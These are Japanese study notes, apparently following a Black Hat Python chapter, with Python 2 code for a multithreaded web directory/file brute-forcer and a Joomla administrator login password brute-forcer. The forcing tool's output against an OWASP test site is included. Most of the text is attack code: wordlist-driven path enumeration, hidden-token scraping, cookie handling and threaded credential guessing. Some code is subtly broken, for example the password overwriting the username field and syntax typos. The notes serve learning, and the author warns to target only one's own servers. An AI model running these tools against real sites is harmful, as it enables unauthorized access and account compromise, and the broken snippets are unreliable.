while not web_paths.empty(): # キューが空でないならループ続行 path = web_paths.get() # キューから要素(ここではファイルパス)を取り出す url = "%s%s" % (target, path) # ターゲットURL+パス名で新たなURL作成 request = urllib2.Request(url) # ターゲットファイルへのRequestオブジェクトを生成 response = urllib2.urlopen(request) # URLにアクセス print "[%d] => %s" % (response.code, path) # 応答コードとパスを表示 response.close() # HTTPセッションを閉じる?
4: 上記3の内容を別スレッドで実行。10スレッドで並列動作。
for i in range(10): print "Spawning thread: %d" % i t = threading.Thread(target=test_remote) t.start()
★ Queueモジュール
一定の順番で、複数のデータの挿入・取出しができ、スレッドセーフ(マルチスレッドで同時並行的に利用しても問題発生しない)なライブラリ。以下の3種類のキューがある。 * FIFOキュー(First In First Out:先入れ先出し) ~ いわゆる「キュー」 * LIFOキュー(Last In First Out:後入れ先出し) ~ いわゆる「スタック」 * 優先順位付きキュー ~ 要素の値に基づいて取り出す順番を決める。
fifo = Queue.Queue( maxsize=0 ) #FIFOキューのコンストラクタ。 fifo.put( item [, block [, timeout]]) #アイテムをキューに挿入する fifo.get([block [, timeout]]) #キューからアイテムを一つ取り出す。 fifo.empty() #キューが空ならTrueを返す
5.3 ディレクトリとファイルの総当たり攻撃
CMSを使っている商用サイトは、たいていカスタマイズされたWebアプリだったり巨大なeコマースシステムだったりするため、前節のコードでWebサーバ上のアクセス可能なファイルを全て知るのは難しい。そこで通常な、Burp Suiteにも含まれてるSpiderのような総当たり攻撃ツールを使ってターゲットサイトのファイル名やディレクトリ名をしらみつぶしに探し、
DirBusterプロジェクトやSVNDiggerのような一般的な総当たり攻撃用の辞書を使って、ターゲットのWebサーバ上に存在するアクセス可能なファイルやディレクトリを検索するシンプルなツール(content_bruter.py)
1: ワードリスト(ファイル名リスト)を読み込む
fd = open("./all.txt", "rb") raw_words = fd.readlines() # ファイル内容を1行ずつのリストにする fd.close()
2: 読み込んだファイル名リストをキューに入れる。
word_queue = Queue.Queue() # FIFOキューを生成 for word in raw_words: word = word.rstrip() # 末尾(右側)の空白・改行除去 word_queue.put(word) # 単語(1行ごと)をキューに入れていく
3: ワードキューが空になるまでループを回し、ディレクトリパスのリストを作る("/"区切り)
while not word_queue.empty(): attempt = word_queue.get() # 単語を取り出し、attemptへ attempt_list = [] # 空リスト生成 # ファイル拡張子をチェックし、なければディレクトリと判断し、総当たり攻撃の対象とする if "." not in attempt: # 拡張子が無い場合 attempt_list.append("/%s/" % attempt) # ディレクトリ名としてリストに追加 else: # 拡張子がある場合 attempt_list.append("/%s" % attempt) # ファイル名としてリストに追加(末尾) # いくつかの拡張子タイプを試すため、拡張子を付加した単語も追加 # extensions = [".php", ".bak", ".orig", ".inc" ] if extensions: for extension in extensions: attempt_list.append("/%s%s" % (attempt, extension))
作成したリスト(ディレクトリパス)でHTTPリクエストを作ってアクセス
for brute in attempt_list: url = "%s%s" % (target_url, urllib.quote(brute)) # ターゲットURLに単語を繋げる myheaders = {} # 空の辞書を生成 myheaders["User-Agent"] = user_agent # User-Agentを偽装 myrequest = urllib2.Request(url, headers = myheaders) # Requestオブジェクト生成 response = urllib2.urlopen(myrequest) # Requestオブジェクトを使ってアクセス if len(response.read()): # 応答があれば(ステータス200)、標準出力 print "[%d] => %s" % (response.code, url)
★ urllibモジュール
Python2において、WWW用のインタフェースを提供するモジュール。 urllib2はurllibにいくつかの機能を追加したもの。例えばurlopen()関数でヘッダ指定可能になったり(urllibからurlopen()は削除)、Requestオブジェクトでアクセス先指定できたり(urllibは不可) じゃあurllib2でいいじゃんと思うかもしれないが、urllibのみ存在する関数があったりして、 urllib.quote()関数やurllib.urlencode()関数はurllib2には含まれない。 なお、Python3にてurllibとurllib2は統合・分割され、urllib.request, urllib.parse, urllib.error の3つのモジュールになった。
4: 総当たり攻撃のスレッドを開始する
for i in range(50): # スレッド作成。dir_bruter()は上記4を行う関数。word_queueは上記1~3で生成したキュー t = threading.Thread(target=dir_bruter, args=(word_queue, extensions,)) t.start()
ターゲットURL(http://testpyp.vulnweb.com)はOWASPが運営してるテスト用サイト。結果は以下の通り。 ターゲットのWebサーバからディレクトリやファイル名を総当たりして取得できる(フォースブラウジング?) Webアプリをターゲットとする場合、総当たり攻撃による情報収集が何よりも重要らしい。
[200] => http://testphp.vulnweb.com/CVS/ [200] => http://testphp.vulnweb.com/admin/ [200] => http://testphp.vulnweb.com/index.php [200] => http://testphp.vulnweb.com/index.bak [200] => http://testphp.vulnweb.com/search.php [200] => http://testphp.vulnweb.com/login.php [200] => http://testphp.vulnweb.com/login.php [200] => http://testphp.vulnweb.com/images/ [200] => http://testphp.vulnweb.com/index.php [200] => http://testphp.vulnweb.com/logout.php [200] => http://testphp.vulnweb.com/categories.php …以下略…
※ 途中で止める手段が分からないので注意…
5.4 HTMLフォームの認証を総当たり攻撃で破る
代表的CMSの一つであるJoomlaはには基本的な総当たり攻撃対策が施されているが、デフォルトではアカウントロック機能やCAPTCHAは有効になっていない。Joomlaへの総当たり攻撃のためには、以下の2点が必要。
さらに、Joomlaはログインページにおいてランダムな文字列をクライアントのCookieに格納し、セッション管理に利用している。
例)name属性にcookieに保存されたランダムな文字列が入る
<input type="hidden" name="8e871f9ec6e175e16101b75352eae392" value="1" /> </fieldset>
たとえ正しい認証情報を送信したとしてもこの文字列が無いと失敗する。つまりJoomlaへの総当たり攻撃を成功させるには、
- ログイン画面を取得し、Cookieをすべて受け入れる
- HTMLからフォームの要素を取り出す
- ユーザー名やパスワードを辞書から推測して設定する
- すべてのフォームのフィールドを設定し、CookieとともにPOSTリクエストとして送信する
- Webアプリケーションにログインできたか確認する
【注意】ツールを試すときは、必ず自身管理のURLをターゲットにすること(当然)
joomle_killer.pyの作成
1: 総当たり用のパスワードリストを用意する(cain.txt)
wordlist_file = "cain.txt" #ここでは、https://github.com/duyet/bruteforce-database/blob/master/cain.txt
2: ターゲット(Joomlaの管理者ログインページ)に合わせて設定
# 192.168.0.190は自環境に建てたjoomlaサーバ target_url = "http://192.168.0.190/administrator/index.php" target_post = "http://192.168.0.190/administrator/index.php" username_field = "username" # 適切なフィールド名を設定 password_field = "passwd" # 適切なフィールド名を設定 success_check = "Control Panel" # 成功か否か判断するための文字列。これを間違うと悲惨
3: HTMLをパースするクラスを作る
class BruteParser(HTMLParser): # HTMLParserクラスを継承 def __init__(self): # HTMLParserクラスのコンストラクタに、self.tag_resultsという空辞書作成を追加 def handle_starttag(self, tag, attrs): # handle_starttag()のオーバライド if tag == "input": # <INPUT>タグだったら、タグの各属性を確認する tag_name = None tag_value = None for name, value in attrs: if name == "name": # name属性があれば読み取る tag_name = value if name == "value": # value属性があれば読み取る tag_value = value if tag_name is not None: # name属性が見つかればtag_results辞書に保存する self.tag_results[tag_name] = value
★ HTMLParser*4の基礎
HTMLParserクラスでは、以下の三つのメソッドを実装でき、これらをオーバーライドして使う。
handle_starttag(self, tag, attrs): pass # 何らかのHTMLタグが始まるときに呼ばれる # 引数tagには小文字にしたタグ名、attrsには属性がリスト[名前,値,名前,値,…]で入る handle_endtag(self, tag): pass # 何らかのHTMLタグが閉じるときに呼ばれる # 引数tagには小文字にしたタグ名が渡される handle_data(self, data): pass # HTMLタグに囲まれたデータ(要素)があるときに呼ばれる # 引数dataにはデータ文字列が渡される
4: 総当たり攻撃のためのクラスを作る
class Bruter(object): # objectクラスを継承 def __init__(self, username, words): # コンストラクタでメンバ変数 username, password, found を初期化 def run_bruteforce(self): # 複数スレッドでweb_bruter関数を実行する for i in range(user_thread): # user_thread = 10 t = threading.Thread)(target = self.web_bruter) t.start()
<b>【Bruterクラス内】</b>パスワード候補を順に当てはめて、Cookieと共に送る
def web_bruter(self): while not self.password_q.empty() and not self.found: # パスワード候補が残っていて、当たりが出るまでループ brute = self.password_q.get().rstrip() # キューからパスワード候補取り出す # ↓Cookieをcookiesというファイルに保存するためのFileCookieJarオブジェクトを生成 jar = cookielib.FileCookieJar("cookies") # HTTPCookieProcessor(cookiejar)はCookieを管理するクラス # build_opener([handler,...])は、urllib2.BaseHandlerクラス又はサブクラスを引数にとり # URLハンドラを連鎖させるurlli2.OpenerDirectorオブジェクトを返す opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar)) response = opener.open(target_url) # urlにアクセスしデータとCookieを取得 page = response.read() # HTMLページを読み込み parser = BruteParser() # hiddenフィールドをパースするためのオブジェクト生成 parser.feed(page) # パーサにテキストを入力 post_tags = parser.tag_results post_tags[username_field] = self.username # ユーザ名adminをセット post_tags[username_field] = brute # パスワード候補をセット login_data = urllib.urlencode(post_tags) # POSTで送るデータをURLエンコード login_response = opener.open(target_url, login_data) # POSTで送る login_result = login_response.read() if success_check in login_result: # ログイン成功したかチェック self.found = True
★ urllib2 でCookieを扱うには
imort urllib2, cookielib cj = cookielib.CookieJar() # Cookieを格納するCookieJarオブジェクトを返す # cj = cookielib.FileCookieJar("cookie") cjhdr = urllib2.HTTPCookieProcessor(cj) # Cookie管理を行うオブジェクト opener = urllib2.build_openner(cjhdr) # OpenDirectorオブジェクトを返す r = opener.open(url) # urlにアクセスしてCookieを取得
★ CookieJar クラス
HTTPクッキーを保管するクラス。HTTPリクエストに応じてクッキーを取出し、HTTPレスポンスで返す。
必要に応じて、保管されているクッキーを自動的に破棄する。
FileCookieJarクラスはCookiePolicyインタフェース(クッキーをサーバから受け入れるべきか、返すべきかを決定するクラス)を実装するクラスで、ディスク上のファイルからクッキーを読み込み、又は書き込みをサポートする。ただ、実際にはload()又は
revert()メソッドが呼ばれるまでクッキーは指定されたファイルからはロードされないらしい。
※ 「cookielib.FileCookieJarにはsave()メソッドが実装されてないから実際には使えない。保存するには cookielib.MozillaFileCookieJarかcookielib.LWPCookieJarを使え」と言ってる人もいた。
★ urllib2.OpenerDirector クラス
「開く」際に行う処理( urllib2.BaseHandler)をまとめたもの。chain-of-responsibility patttern。 BaseHandlerを連鎖的に呼び出してURLを開く。ハンドラをどう連鎖させるか、エラーをどうリカバリするかを管理する。複数のハンドラを経由して、リクエストの送信及びレスポンスの受信を行う。
OpenerDirector.open(url [, data] [, timeout])`
#与えられたurlを開き、オプションでdataを与える(dataは当然POSTで送られる)
★ urllib2.BaseHandle クラス
「開く」際に行う処理。ハンドラ連鎖に登録される全ハンドラのベースとなるクラス。登録のための単純なメカニズムだけを扱う。
5: 項1~4の処理を使って総当たり開始
words = build_wordlist( wordlist_file ) # 前5.3節の1~2の処理でリストからキュー生成
bruter_obj = Bruter( username, words )
bruter_obj.run_bruteforce()